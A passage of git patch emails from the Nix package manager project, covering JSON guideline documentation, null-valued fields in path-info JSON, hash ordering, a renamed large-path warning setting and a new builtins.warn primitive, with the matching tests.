a list of records. + + - Streaming JSON should return records. + + An example of a streaming JSON format is [JSON lines](https://jsonlines.org/), where each line represents a JSON value. These JSON values can be considered top-level values or list items, and they must be records. + +### Examples + + +This is bad, because all keys must be assumed to be store types: + +```json +{ + "local": { ... }, + "remote": { ... }, + "http": { ... } +} +``` + +This is good, because the it is extensible at the root, and is somewhat self-documenting: + +```json +{ + "storeTypes": { "local": { ... }, ... }, + "pluginSupport": true +} +``` + +While the dictionary of store types seems like a very complete response at first, a use case may arise that warrants returning additional information. +For example, the presence of plugin support may be crucial information for a client to proceed when their desired store type is missing. + + + +The following representation is bad because it is not extensible: + +```json +{ "outputs": [ "out" "bin" ] } +``` + +However, simply converting everything to records is not enough, because the order of outputs must be preserved: + +```json +{ "outputs": { "bin": {}, "out": {} } } +``` + +The first item is the default output. Deriving this information from the outputs ordering is not great, but this is how Nix currently happens to work. +While it is possible for a JSON parser to preserve the order of fields, we can not rely on this capability to be present in all JSON libraries. + +This representation is extensible and preserves the ordering: + +```json +{ "outputs": [ { "outputName": "out" }, { "outputName": "bin" } ] } +``` From c50e14276e79f9effae2f8af9d6f6c41ce8cb503 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 31 May 2024 17:28:07 -0400 Subject: [PATCH 0702/1251] manual: Extend JSON guidlines with optional field info Co-authored-by: Robert Hensing Co-authored-by: Valentin Gagarin --- doc/manual/src/contributing/json-guideline.md | 71 +++++++++++++++---- 1 file changed, 59 insertions(+), 12 deletions(-) diff --git a/doc/manual/src/contributing/json-guideline.md b/doc/manual/src/contributing/json-guideline.md index a671cd66b..b4bc92af9 100644 --- a/doc/manual/src/contributing/json-guideline.md +++ b/doc/manual/src/contributing/json-guideline.md @@ -1,16 +1,23 @@ -## Returning future proof JSON +# JSON guideline -The schema of JSON output should allow for backwards compatible extension. This section explains how to achieve this. +Nix consumes and produces JSON in a variety of contexts. +These guidelines ensure consistent practices for all our JSON interfaces, for ease of use, and so that experience in one part carries over to another. -Two definitions are helpful here, because while JSON only defines one "key-value" -object type, we use it to cover two use cases: +## Extensibility - - **dictionary**: a map from names to value that all have the same type. In - C++ this would be a `std::map` with string keys. - - **record**: a fixed set of attributes each with their own type. In C++, this - would be represented by a `struct`. +The schema of JSON input and output should allow for backwards compatible extension. +This section explains how to achieve this. -It is best not to mix these use cases, as that may lead to incompatibilities when the schema changes. For example, adding a record field to a dictionary breaks consumers that assume all JSON object fields to have the same meaning and type. +Two definitions are helpful here, because while JSON only defines one "key-value" object type, we use it to cover two use cases: + + - **dictionary**: a map from names to value that all have the same type. + In C++ this would be a `std::map` with string keys. + + - **record**: a fixed set of attributes each with their own type. + In C++, this would be represented by a `struct`. + +It is best not to mix these use cases, as that may lead to incompatibilities when the schema changes. +For example, adding a record field to a dictionary breaks consumers that assume all JSON object fields to have the same meaning and type, and dictionary items with a colliding name can not be represented anymore. This leads to the following guidelines: @@ -26,15 +33,16 @@ This leads to the following guidelines: Otherwise, one can not change the structure of the list items. - If the order of the items does not matter, and each item has a unique key that is a string, consider representing the list as a dictionary instead. If the order of the items needs to be preserved, return a list of records. + If the order of the items does not matter, and each item has a unique key that is a string, consider representing the list as a dictionary instead. + If the order of the items needs to be preserved, return a list of records. - Streaming JSON should return records. - An example of a streaming JSON format is [JSON lines](https://jsonlines.org/), where each line represents a JSON value. These JSON values can be considered top-level values or list items, and they must be records. + An example of a streaming JSON format is [JSON lines](https://jsonlines.org/), where each line represents a JSON value. + These JSON values can be considered top-level values or list items, and they must be records. ### Examples - This is bad, because all keys must be assumed to be store types: ```json @@ -79,3 +87,42 @@ This representation is extensible and preserves the ordering: ```json { "outputs": [ { "outputName": "out" }, { "outputName": "bin" } ] } ``` + +## Self-describing values + +As described in the previous section, it's crucial that schemas can be extended with with new fields without breaking compatibility. +However, that should *not* mean we use the presence/absence of fields to indicate optional information *within* a version of the schema. +Instead, always include the field, and use `null` to indicate the "nothing" case. + +### Examples + +Here are two JSON objects: + +```json +{ + "foo": {} +} +``` +```json +{ + "foo": {}, + "bar": {} +} +``` + +Since they differ in which fields they contain, they should *not* both be valid values of the same schema. +At most, they can match two different schemas where the second (with `foo` and `bar`) is considered a newer version of the first (with just `foo`). +Within each version, all fields are mandatory (always `foo`, and always `foo` and `bar`). +Only *between* each version, `bar` gets added as a new mandatory field. + +Here are another two JSON objects: + +```json +{ "foo": null } +``` +```json +{ "foo": { "bar": 1 } } +``` + +Since they both contain a `foo` field, they could be valid values of the same schema. +The schema would have `foo` has an optional field, which is either `null` or an object where `bar` is an integer. From 213a7a87b484d989d72fb233a47ecbb326b4ae32 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 31 May 2024 11:01:22 -0400 Subject: [PATCH 0703/1251] Decouple within-build (structured attrs) and unstable CLI path info JSON See code comment for details. Co-authored-by: Robert Hensing --- src/libstore/parsed-derivations.cc | 25 ++++++++++++++++++++++--- 1 file changed, 22 insertions(+), 3 deletions(-) diff --git a/src/libstore/parsed-derivations.cc b/src/libstore/parsed-derivations.cc index a29281953..d8459d4d7 100644 --- a/src/libstore/parsed-derivations.cc +++ b/src/libstore/parsed-derivations.cc @@ -135,18 +135,37 @@ static std::regex shVarName("[A-Za-z_][A-Za-z0-9_]*"); /** * Write a JSON representation of store object metadata, such as the * hash and the references. + * + * @note Do *not* use `ValidPathInfo::toJSON` because this function is + * subject to stronger stability requirements since it is used to + * prepare build environments. Perhaps someday we'll have a versionining + * mechanism to allow this to evolve again and get back in sync, but for + * now we must not change - not even extend - the behavior. */ static nlohmann::json pathInfoToJSON( Store & store, const StorePathSet & storePaths) { - nlohmann::json::array_t jsonList = nlohmann::json::array(); + using nlohmann::json; + + nlohmann::json::array_t jsonList = json::array(); for (auto & storePath : storePaths) { auto info = store.queryPathInfo(storePath); - auto & jsonPath = jsonList.emplace_back( - info->toJSON(store, false, HashFormat::Nix32)); + auto & jsonPath = jsonList.emplace_back(json::object()); + + jsonPath["narHash"] = info->narHash.to_string(HashFormat::Nix32, true); + jsonPath["narSize"] = info->narSize; + + { + auto & jsonRefs = jsonPath["references"] = json::array(); + for (auto & ref : info->references) + jsonRefs.emplace_back(store.printStorePath(ref)); + } + + if (info->ca) + jsonPath["ca"] = renderContentAddress(info->ca); // Add the path to the object whose metadata we are including. jsonPath["path"] = store.printStorePath(storePath); From 84c65135a5059515d423a1b7d71921f4725e4c4c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 12 Feb 2024 10:51:20 -0500 Subject: [PATCH 0704/1251] `ValidPathInfo` JSON format should use `null` not omit field Co-authored-by: Robert Hensing Co-authored-by: Robert Hensing --- doc/manual/rl-next/store-object-info.md | 11 ++++++ doc/manual/src/glossary.md | 7 ++-- .../src/protocols/json/store-object-info.md | 22 +++++++----- src/libstore/path-info.cc | 34 +++++++++---------- src/libutil/json-utils.cc | 7 ++-- src/libutil/json-utils.hh | 2 +- tests/functional/signing.sh | 22 ++++++------ .../libstore/data/path-info/empty_impure.json | 10 ++++++ .../libstore/data/path-info/empty_pure.json | 6 ++++ tests/unit/libstore/path-info.cc | 24 +++++++++---- tests/unit/libutil/json-utils.cc | 7 ++-- 11 files changed, 98 insertions(+), 54 deletions(-) create mode 100644 doc/manual/rl-next/store-object-info.md create mode 100644 tests/unit/libstore/data/path-info/empty_impure.json create mode 100644 tests/unit/libstore/data/path-info/empty_pure.json diff --git a/doc/manual/rl-next/store-object-info.md b/doc/manual/rl-next/store-object-info.md new file mode 100644 index 000000000..ab8f5fec0 --- /dev/null +++ b/doc/manual/rl-next/store-object-info.md @@ -0,0 +1,11 @@ +--- +synopsis: Store object info JSON format now uses `null` rather than omitting fields. +prs: 9995 +--- + +The [store object info JSON format](@docroot@/protocols/json/store-object-info.md), used for e.g. `nix path-info`, no longer omits fields to indicate absent information, but instead includes the fields with a `null` value. +For example, `"ca": null` is used to to indicate a store object that isn't content-addressed rather than omitting the `ca` field entirely. +This makes records of this sort more self-describing, and easier to consume programmatically. + +We will follow this design principle going forward; +the [JSON guidelines](@docroot@/contributing/json-guideline.md) in the contributing section have been updated accordingly. diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md index 080b25d30..55ad9e1c2 100644 --- a/doc/manual/src/glossary.md +++ b/doc/manual/src/glossary.md @@ -12,7 +12,7 @@ For how Nix uses content addresses, see: - [Content-Addressing File System Objects](@docroot@/store/file-system-object/content-address.md) - - [content-addressed store object](#gloss-content-addressed-store-object) + - [Content-Addressing Store Objects](@docroot@/store/store-object/content-address.md) - [content-addressed derivation](#gloss-content-addressed-derivation) Software Heritage's writing on [*Intrinsic and Extrinsic identifiers*](https://www.softwareheritage.org/2020/07/09/intrinsic-vs-extrinsic-identifiers) is also a good introduction to the value of content-addressing over other referencing schemes. @@ -137,9 +137,12 @@ - [content-addressed store object]{#gloss-content-addressed-store-object} - A [store object] whose [store path] is determined by its contents. + A [store object] which is [content-addressed](#gloss-content-address), + i.e. whose [store path] is determined by its contents. This includes derivations, the outputs of [content-addressed derivations](#gloss-content-addressed-derivation), and the outputs of [fixed-output derivations](#gloss-fixed-output-derivation). + See [Content-Addressing Store Objects](@docroot@/store/store-object/content-address.md) for details. + - [substitute]{#gloss-substitute} A substitute is a command invocation stored in the [Nix database] that diff --git a/doc/manual/src/protocols/json/store-object-info.md b/doc/manual/src/protocols/json/store-object-info.md index 22a14715f..9f647a96c 100644 --- a/doc/manual/src/protocols/json/store-object-info.md +++ b/doc/manual/src/protocols/json/store-object-info.md @@ -24,9 +24,11 @@ Info about a [store object]. An array of [store paths][store path], possibly including this one. -* `ca` (optional): +* `ca`: - Content address of this store object's file system object, used to compute its store path. + If the store object is [content-addressed], + this is the content address of this store object's file system object, used to compute its store path. + Otherwise (i.e. if it is [input-addressed]), this is `null`. [store path]: @docroot@/store/store-path.md [file system object]: @docroot@/store/file-system-object.md @@ -37,28 +39,30 @@ Info about a [store object]. These are not intrinsic properties of the store object. In other words, the same store object residing in different store could have different values for these properties. -* `deriver` (optional): +* `deriver`: - The path to the [derivation] from which this store object is produced. + If known, the path to the [derivation] from which this store object was produced. + Otherwise `null`. [derivation]: @docroot@/glossary.md#gloss-store-derivation * `registrationTime` (optional): - When this derivation was added to the store. + If known, when this derivation was added to the store. + Otherwise `null`. -* `ultimate` (optional): +* `ultimate`: Whether this store object is trusted because we built it ourselves, rather than substituted a build product from elsewhere. -* `signatures` (optional): +* `signatures`: Signatures claiming that this store object is what it claims to be. Not relevant for [content-addressed] store objects, but useful for [input-addressed] store objects. - [content-addressed]: @docroot@/glossary.md#gloss-content-addressed-store-object - [input-addressed]: @docroot@/glossary.md#gloss-input-addressed-store-object +[content-addressed]: @docroot@/store/store-object/content-address.md +[input-addressed]: @docroot@/glossary.md#gloss-input-addressed-store-object ### `.narinfo` extra fields diff --git a/src/libstore/path-info.cc b/src/libstore/path-info.cc index 6523cb425..ddd7f50d9 100644 --- a/src/libstore/path-info.cc +++ b/src/libstore/path-info.cc @@ -161,28 +161,23 @@ nlohmann::json UnkeyedValidPathInfo::toJSON( jsonObject["narSize"] = narSize; { - auto& jsonRefs = (jsonObject["references"] = json::array()); + auto & jsonRefs = jsonObject["references"] = json::array(); for (auto & ref : references) jsonRefs.emplace_back(store.printStorePath(ref)); } - if (ca) - jsonObject["ca"] = renderContentAddress(ca); + jsonObject["ca"] = ca ? (std::optional { renderContentAddress(*ca) }) : std::nullopt; if (includeImpureInfo) { - if (deriver) - jsonObject["deriver"] = store.printStorePath(*deriver); + jsonObject["deriver"] = deriver ? (std::optional { store.printStorePath(*deriver) }) : std::nullopt; - if (registrationTime) - jsonObject["registrationTime"] = registrationTime; + jsonObject["registrationTime"] = registrationTime ? (std::optional { registrationTime }) : std::nullopt; - if (ultimate) - jsonObject["ultimate"] = ultimate; + jsonObject["ultimate"] = ultimate; - if (!sigs.empty()) { - for (auto & sig : sigs) - jsonObject["signatures"].push_back(sig); - } + auto & sigsObj = jsonObject["signatures"] = json::array(); + for (auto & sig : sigs) + sigsObj.push_back(sig); } return jsonObject; @@ -210,20 +205,25 @@ UnkeyedValidPathInfo UnkeyedValidPathInfo::fromJSON( throw; } + // New format as this as nullable but mandatory field; handling + // missing is for back-compat. if (json.contains("ca")) - res.ca = ContentAddress::parse(getString(valueAt(json, "ca"))); + if (auto * rawCa = getNullable(valueAt(json, "ca"))) + res.ca = ContentAddress::parse(getString(*rawCa)); if (json.contains("deriver")) - res.deriver = store.parseStorePath(getString(valueAt(json, "deriver"))); + if (auto * rawDeriver = getNullable(valueAt(json, "deriver"))) + res.deriver = store.parseStorePath(getString(*rawDeriver)); if (json.contains("registrationTime")) - res.registrationTime = getInteger(valueAt(json, "registrationTime")); + if (auto * rawRegistrationTime = getNullable(valueAt(json, "registrationTime"))) + res.registrationTime = getInteger(*rawRegistrationTime); if (json.contains("ultimate")) res.ultimate = getBoolean(valueAt(json, "ultimate")); if (json.contains("signatures")) - res.sigs = valueAt(json, "signatures"); + res.sigs = getStringSet(valueAt(json, "signatures")); return res; } diff --git a/src/libutil/json-utils.cc b/src/libutil/json-utils.cc index 1b911bf75..dff068e07 100644 --- a/src/libutil/json-utils.cc +++ b/src/libutil/json-utils.cc @@ -39,12 +39,9 @@ std::optional optionalValueAt(const nlohmann::json::object_t & m } -std::optional getNullable(const nlohmann::json & value) +const nlohmann::json * getNullable(const nlohmann::json & value) { - if (value.is_null()) - return std::nullopt; - - return value.get(); + return value.is_null() ? nullptr : &value; } /** diff --git a/src/libutil/json-utils.hh b/src/libutil/json-utils.hh index 08c98cc8c..fe7a406cf 100644 --- a/src/libutil/json-utils.hh +++ b/src/libutil/json-utils.hh @@ -29,7 +29,7 @@ std::optional optionalValueAt(const nlohmann::json::object_t & v * Downcast the json object, failing with a nice error if the conversion fails. * See https://json.nlohmann.me/features/types/ */ -std::optional getNullable(const nlohmann::json & value); +const nlohmann::json * getNullable(const nlohmann::json & value); const nlohmann::json::object_t & getObject(const nlohmann::json & value); const nlohmann::json::array_t & getArray(const nlohmann::json & value); const nlohmann::json::string_t & getString(const nlohmann::json & value); diff --git a/tests/functional/signing.sh b/tests/functional/signing.sh index bcbd3b675..cf84ab377 100755 --- a/tests/functional/signing.sh +++ b/tests/functional/signing.sh @@ -15,9 +15,9 @@ outPath=$(nix-build dependencies.nix --no-out-link --secret-key-files "$TEST_ROO # Verify that the path got signed. info=$(nix path-info --json $outPath) -[[ $info =~ '"ultimate":true' ]] -[[ $info =~ 'cache1.example.org' ]] -[[ $info =~ 'cache2.example.org' ]] +echo $info | jq -e '.[] | .ultimate == true' +echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache1.example.org"))' +echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache2.example.org"))' # Test "nix store verify". nix store verify -r $outPath @@ -39,8 +39,8 @@ nix store verify -r $outPath # Verify that the path did not get signed but does have the ultimate bit. info=$(nix path-info --json $outPath2) -[[ $info =~ '"ultimate":true' ]] -(! [[ $info =~ 'signatures' ]]) +echo $info | jq -e '.[] | .ultimate == true' +echo $info | jq -e '.[] | .signatures == []' # Test "nix store verify". nix store verify -r $outPath2 @@ -57,7 +57,7 @@ nix store verify -r $outPath2 --sigs-needed 1 --trusted-public-keys $pk1 # Build something content-addressed. outPathCA=$(IMPURE_VAR1=foo IMPURE_VAR2=bar nix-build ./fixed.nix -A good.0 --no-out-link) -[[ $(nix path-info --json $outPathCA) =~ '"ca":"fixed:md5:' ]] +nix path-info --json $outPathCA | jq -e '.[] | .ca | startswith("fixed:md5:")' # Content-addressed paths don't need signatures, so they verify # regardless of --sigs-needed. @@ -73,15 +73,15 @@ nix copy --to file://$cacheDir $outPath2 # Verify that signatures got copied. info=$(nix path-info --store file://$cacheDir --json $outPath2) -(! [[ $info =~ '"ultimate":true' ]]) -[[ $info =~ 'cache1.example.org' ]] -(! [[ $info =~ 'cache2.example.org' ]]) +echo $info | jq -e '.[] | .ultimate == false' +echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache1.example.org"))' +echo $info | expect 4 jq -e '.[] | .signatures.[] | select(startswith("cache2.example.org"))' # Verify that adding a signature to a path in a binary cache works. nix store sign --store file://$cacheDir --key-file $TEST_ROOT/sk2 $outPath2 info=$(nix path-info --store file://$cacheDir --json $outPath2) -[[ $info =~ 'cache1.example.org' ]] -[[ $info =~ 'cache2.example.org' ]] +echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache1.example.org"))' +echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache2.example.org"))' # Copying to a diverted store should fail due to a lack of signatures by trusted keys. chmod -R u+w $TEST_ROOT/store0 || true diff --git a/tests/unit/libstore/data/path-info/empty_impure.json b/tests/unit/libstore/data/path-info/empty_impure.json new file mode 100644 index 000000000..be982dcef --- /dev/null +++ b/tests/unit/libstore/data/path-info/empty_impure.json @@ -0,0 +1,10 @@ +{ + "ca": null, + "deriver": null, + "narHash": "sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc=", + "narSize": 0, + "references": [], + "registrationTime": null, + "signatures": [], + "ultimate": false +} diff --git a/tests/unit/libstore/data/path-info/empty_pure.json b/tests/unit/libstore/data/path-info/empty_pure.json new file mode 100644 index 000000000..10d9f508a --- /dev/null +++ b/tests/unit/libstore/data/path-info/empty_pure.json @@ -0,0 +1,6 @@ +{ + "ca": null, + "narHash": "sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc=", + "narSize": 0, + "references": [] +} diff --git a/tests/unit/libstore/path-info.cc b/tests/unit/libstore/path-info.cc index 80d6fcfed..06c662b74 100644 --- a/tests/unit/libstore/path-info.cc +++ b/tests/unit/libstore/path-info.cc @@ -19,7 +19,15 @@ class PathInfoTest : public CharacterizationTest, public LibStoreTest } }; -static UnkeyedValidPathInfo makePathInfo(const Store & store, bool includeImpureInfo) { +static UnkeyedValidPathInfo makeEmpty() +{ + return { + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }; +} + +static UnkeyedValidPathInfo makeFull(const Store & store, bool includeImpureInfo) +{ UnkeyedValidPathInfo info = ValidPathInfo { store, "foo", @@ -50,22 +58,21 @@ static UnkeyedValidPathInfo makePathInfo(const Store & store, bool includeImpure return info; } -#define JSON_TEST(STEM, PURE) \ +#define JSON_TEST(STEM, OBJ, PURE) \ TEST_F(PathInfoTest, PathInfo_ ## STEM ## _from_json) { \ readTest(#STEM, [&](const auto & encoded_) { \ auto encoded = json::parse(encoded_); \ UnkeyedValidPathInfo got = UnkeyedValidPathInfo::fromJSON( \ *store, \ encoded); \ - auto expected = makePathInfo(*store, PURE); \ + auto expected = OBJ; \ ASSERT_EQ(got, expected); \ }); \ } \ \ TEST_F(PathInfoTest, PathInfo_ ## STEM ## _to_json) { \ writeTest(#STEM, [&]() -> json { \ - return makePathInfo(*store, PURE) \ - .toJSON(*store, PURE, HashFormat::SRI); \ + return OBJ.toJSON(*store, PURE, HashFormat::SRI); \ }, [](const auto & file) { \ return json::parse(readFile(file)); \ }, [](const auto & file, const auto & got) { \ @@ -73,7 +80,10 @@ static UnkeyedValidPathInfo makePathInfo(const Store & store, bool includeImpure }); \ } -JSON_TEST(pure, false) -JSON_TEST(impure, true) +JSON_TEST(empty_pure, makeEmpty(), false) +JSON_TEST(empty_impure, makeEmpty(), true) + +JSON_TEST(pure, makeFull(*store, false), false) +JSON_TEST(impure, makeFull(*store, true), true) } diff --git a/tests/unit/libutil/json-utils.cc b/tests/unit/libutil/json-utils.cc index c9370a74b..704a4acb0 100644 --- a/tests/unit/libutil/json-utils.cc +++ b/tests/unit/libutil/json-utils.cc @@ -175,13 +175,16 @@ TEST(optionalValueAt, empty) { TEST(getNullable, null) { auto json = R"(null)"_json; - ASSERT_EQ(getNullable(json), std::nullopt); + ASSERT_EQ(getNullable(json), nullptr); } TEST(getNullable, empty) { auto json = R"({})"_json; - ASSERT_EQ(getNullable(json), std::optional { R"({})"_json }); + auto * p = getNullable(json); + + ASSERT_NE(p, nullptr); + ASSERT_EQ(*p, R"({})"_json); } } /* namespace nix */ From cfc18a77395b5ef49763f77c3cc67a95f762a0eb Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 16 May 2024 18:46:38 -0400 Subject: [PATCH 0705/1251] Modernize `Hash` ordering with C++20 `<=>` Progress on #10832 This doesn't switch to auto-deriving the fields, but by defining `<=>` we allow deriving `<=>` in downstream types where `Hash` is used. --- src/libutil/hash.cc | 17 +++++------------ src/libutil/hash.hh | 11 +++-------- 2 files changed, 8 insertions(+), 20 deletions(-) diff --git a/src/libutil/hash.cc b/src/libutil/hash.cc index d4c9d6533..2f2ed8138 100644 --- a/src/libutil/hash.cc +++ b/src/libutil/hash.cc @@ -50,21 +50,14 @@ bool Hash::operator == (const Hash & h2) const } -bool Hash::operator != (const Hash & h2) const +std::strong_ordering Hash::operator <=> (const Hash & h) const { - return !(*this == h2); -} - - -bool Hash::operator < (const Hash & h) const -{ - if (hashSize < h.hashSize) return true; - if (hashSize > h.hashSize) return false; + if (auto cmp = algo <=> h.algo; cmp != 0) return cmp; + if (auto cmp = hashSize <=> h.hashSize; cmp != 0) return cmp; for (unsigned int i = 0; i < hashSize; i++) { - if (hash[i] < h.hash[i]) return true; - if (hash[i] > h.hash[i]) return false; + if (auto cmp = hash[i] <=> h.hash[i]; cmp != 0) return cmp; } - return false; + return std::strong_ordering::equivalent; } diff --git a/src/libutil/hash.hh b/src/libutil/hash.hh index e14aae43c..ef96d08c9 100644 --- a/src/libutil/hash.hh +++ b/src/libutil/hash.hh @@ -86,19 +86,14 @@ private: public: /** - * Check whether two hash are equal. + * Check whether two hashes are equal. */ bool operator == (const Hash & h2) const; /** - * Check whether two hash are not equal. + * Compare how two hashes are ordered. */ - bool operator != (const Hash & h2) const; - - /** - * For sorting. - */ - bool operator < (const Hash & h) const; + std::strong_ordering operator <=> (const Hash & h2) const; /** * Returns the length of a base-16 representation of this hash. From 1e99f324d907bc51b99822d3fa3ba7eee21a1d46 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 3 Jun 2024 09:36:05 -0400 Subject: [PATCH 0706/1251] Fix shellcheck issue 8b86f415c1a8565085e70475933e459a29d67283 was merged from a CI run that predated the new linting. --- tests/functional/flakes/eval-cache.sh | 2 ++ 1 file changed, 2 insertions(+) mode change 100644 => 100755 tests/functional/flakes/eval-cache.sh diff --git a/tests/functional/flakes/eval-cache.sh b/tests/functional/flakes/eval-cache.sh old mode 100644 new mode 100755 index 90c7abd3c..0f8df1b91 --- a/tests/functional/flakes/eval-cache.sh +++ b/tests/functional/flakes/eval-cache.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh requireGit From deac00c6d0a019874016021a74e3d42306afd2e6 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 3 Jun 2024 15:49:15 +0200 Subject: [PATCH 0707/1251] Rename large-path-warning-threshold -> warn-large-path-threshold --- src/libstore/globals.hh | 4 ++-- src/libstore/store-api.cc | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index 1f3548497..843e77bcf 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -1263,10 +1263,10 @@ public: )" }; - Setting largePathWarningThreshold{ + Setting warnLargePathThreshold{ this, std::numeric_limits::max(), - "large-path-warning-threshold", + "warn-large-path-threshold", R"( Warn when copying a path larger than this number of bytes to the Nix store (as determined by its NAR serialisation). diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 9b519dd84..c67ccd7d4 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -168,7 +168,7 @@ std::pair StoreDirConfig::computeStorePath( PathFilter & filter) const { auto [h, size] = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter); - if (size && *size >= settings.largePathWarningThreshold) + if (size && *size >= settings.warnLargePathThreshold) warn("hashed large path '%s' (%s)", path, renderSize(*size)); return { makeFixedOutputPathFromCA( @@ -212,7 +212,7 @@ StorePath Store::addToStore( }); LengthSource lengthSource(*source); auto storePath = addToStoreFromDump(lengthSource, name, fsm, method, hashAlgo, references, repair); - if (lengthSource.total >= settings.largePathWarningThreshold) + if (lengthSource.total >= settings.warnLargePathThreshold) warn("copied large path '%s' to the store (%s)", path, renderSize(lengthSource.total)); return storePath; } From d2bfc7e55a8e83964461698f9fbc90b927ef427e Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 3 Jun 2024 15:55:19 +0200 Subject: [PATCH 0708/1251] Add release note --- doc/manual/rl-next/warn-large-path.md | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 doc/manual/rl-next/warn-large-path.md diff --git a/doc/manual/rl-next/warn-large-path.md b/doc/manual/rl-next/warn-large-path.md new file mode 100644 index 000000000..5ee3e307f --- /dev/null +++ b/doc/manual/rl-next/warn-large-path.md @@ -0,0 +1,11 @@ +--- +synopsis: Large path warnings +prs: 10661 +--- + +Nix can now warn when evaluation of a Nix expression causes a large +path to be copied to the Nix store. The threshold for this warning can +be configured using [the `warn-large-path-threshold` +setting](@docroot@/command-ref/conf-file.md#warn-large-path-threshold), +e.g. `--warn-large-path-threshold 100M` will warn about paths larger +than 100 MiB. From 2d4c9d8f4a41520e53441985b1fce5be87b731c8 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 23 Apr 2024 01:21:50 +0200 Subject: [PATCH 0709/1251] Add builtins.warn --- src/libexpr/eval-settings.cc | 4 ++++ src/libexpr/eval-settings.hh | 34 +++++++++++++++++++++++++++++---- src/libexpr/primops.cc | 37 ++++++++++++++++++++++++++++++++++++ tests/functional/lang.sh | 7 +++++++ 4 files changed, 78 insertions(+), 4 deletions(-) diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc index 2ccbe327f..85b1677ea 100644 --- a/src/libexpr/eval-settings.cc +++ b/src/libexpr/eval-settings.cc @@ -48,6 +48,10 @@ EvalSettings::EvalSettings() { auto var = getEnv("NIX_PATH"); if (var) nixPath = parseNixPath(*var); + + var = getEnv("NIX_ABORT_ON_WARN"); + if (var && (var == "1" || var == "yes" || var == "true")) + builtinsAbortOnWarn = true; } Strings EvalSettings::getDefaultNixPath() diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index dbfc3b2c7..f1fb539bd 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -158,13 +158,39 @@ struct EvalSettings : Config Setting builtinsTraceDebugger{this, false, "debugger-on-trace", R"( - If set to true and the `--debugger` flag is given, - [`builtins.trace`](@docroot@/language/builtins.md#builtins-trace) will - enter the debugger like - [`builtins.break`](@docroot@/language/builtins.md#builtins-break). + If set to true and the `--debugger` flag is given, the following functions + will enter the debugger like [`builtins.break`](@docroot@/language/builtins.md#builtins-break). + + * [`builtins.trace`](@docroot@/language/builtins.md#builtins-trace) + * [`builtins.traceVerbose`](@docroot@/language/builtins.md#builtins-traceVerbose) + if [`trace-verbose`](#conf-trace-verbose) is set to true. + * [`builtins.warn`](@docroot@/language/builtins.md#builtins-warn) This is useful for debugging warnings in third-party Nix code. )"}; + + Setting builtinsDebuggerOnWarn{this, false, "debugger-on-warn", + R"( + If set to true and the `--debugger` flag is given, [`builtins.warn`](@docroot@/language/builtins.md#builtins-warn) + will enter the debugger like [`builtins.break`](@docroot@/language/builtins.md#builtins-break). + + This is useful for debugging warnings in third-party Nix code. + + Use [`debugger-on-trace`](#conf-debugger-on-trace) to also enter the debugger on legacy warnings that are logged with [`builtins.trace`](@docroot@/language/builtins.md#builtins-trace). + )"}; + + Setting builtinsAbortOnWarn{this, false, "abort-on-warn", + R"( + If set to true, [`builtins.warn`](@docroot@/language/builtins.md#builtins-warn) will throw an error when logging a warning. + + This will give you a stack trace that leads to the location of the warning. + + This is useful for finding information about warnings in third-party Nix code when you can not start the interactive debugger, such as when Nix is called from a non-interactive script. See [`debugger-on-warn`](#conf-debugger-on-warn). + + Currently, a stack trace can only be produced when the debugger is enabled, or when evaluation is aborted. + + This option can be enabled by setting `NIX_ABORT_ON_WARN=1` in the environment. + )"}; }; extern EvalSettings evalSettings; diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 7371bd488..9319709c1 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1043,6 +1043,43 @@ static RegisterPrimOp primop_trace({ .fun = prim_trace, }); +static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value & v) +{ + state.forceValue(*args[0], pos); + if (args[0]->type() == nString) + printMsg(lvlWarn, ANSI_WARNING "warning:" ANSI_NORMAL " %1%", args[0]->string_view()); + else + printMsg(lvlWarn, ANSI_WARNING "warning:" ANSI_NORMAL " %1%", ValuePrinter(state, *args[0])); + + if (evalSettings.builtinsAbortOnWarn) { + state.error("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow(); + } + if ((evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) && state.debugRepl && !state.debugTraces.empty()) { + const DebugTrace & last = state.debugTraces.front(); + state.runDebugRepl(nullptr, last.env, last.expr); + } + state.forceValue(*args[1], pos); + v = *args[1]; +} + +static RegisterPrimOp primop_warn({ + .name = "__warn", + .args = {"e1", "e2"}, + .doc = R"( + Evaluate *e1*, which must be a string and print iton standard error as a warning. + Then return *e2*. + This function is useful for non-critical situations where attention is advisable. + + If the + [`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace) + or [`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) + option is set to `true` and the `--debugger` flag is given, the + interactive debugger will be started when 